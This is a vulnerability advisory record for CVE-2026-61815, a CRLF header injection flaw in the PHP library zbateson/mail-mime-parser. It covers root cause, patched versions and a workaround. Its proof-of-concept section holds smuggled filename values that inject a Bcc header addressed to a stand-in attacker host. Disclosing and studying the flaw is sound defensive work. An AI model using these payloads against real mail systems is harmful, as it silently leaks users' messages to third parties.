{"id":"CVE-2026-61815","aliases":["GHSA-36h5-qg4p-q2qf"],"url":"https://o3.security/vulnerability/CVE-2026-61815","summary":"zbateson/mail-mime-parser has CRLF header injection via attachment filename","details":"### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.\n\nThe decode side is affected as well, which is what makes purely inbound exploitation possible:\n\n- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so\n  a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\\r\\n`.\n- The RFC 2047 path (`MimeToken`) strips `\\r`/`\\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which\n  can reintroduce CR/LF into the decoded value.\n\nAs a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n<?php\nrequire 'vendor/autoload.php';\nuse ZBateson\\MailMimeParser\\MailMimeParser;\nuse ZBateson\\MailMimeParser\\Message;\n\n$parser = new MailMimeParser();\n\nfunction attachAndReport(string $filename): void {\n    $out = Message::from(\"From: me@host\\r\\nContent-Type: text/plain\\r\\n\\r\\nhi\\r\\n\", false);\n    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);\n    echo (strpos($out->__toString(), \"\\r\\nBcc: attacker@evil.test\") !== false)\n        ? \"INJECTED\\n\" : \"clean\\n\";\n}\n\nattachAndReport('invoice.pdf');                    // => clean\nattachAndReport(\"doc\\r\\nBcc: attacker@evil.test\"); // => INJECTED\n\n// The CRLF reaches getFilename() straight from parsed mail via an\n// RFC 2231 filename*= parameter, so no local construction is needed:\n$inbound = \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n    . \"--b\\r\\nContent-Type: application/octet-stream\\r\\n\"\n    . \"Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\\r\\n\\r\\n\"\n    . base64_encode('data') . \"\\r\\n--b--\\r\\n\";\n$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();\nvar_dump($fn);        // => string(28) \"doc\\r\\nBcc: attacker@evil.test\"\nattachAndReport($fn); // => INJECTED\n```\n\n### Patches\n\nFixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.\n\nVersions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.\n\n### Workarounds\n\nIf upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\\r\\n]+/', ' ', $filename).\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.","published":"2026-09-24T17:53:32.355Z","modified":"2026-10-21T02:58:53.289322226Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","fixedVersion":"3.0.6"},{"ecosystem":"Packagist","name":"zbateson/mail-mime-parser","fixedVersion":"4.0.2"}],"fix":{"url":"https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948","label":"zbateson/mail-mime-parser@81859c0"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61815.json"},{"type":"ADVISORY","url":"https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61815"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1"},{"type":"PACKAGE","url":"https://github.com/zbateson/mail-mime-parser"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"},{"type":"WEB","url":"https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:53.289322226Z"}}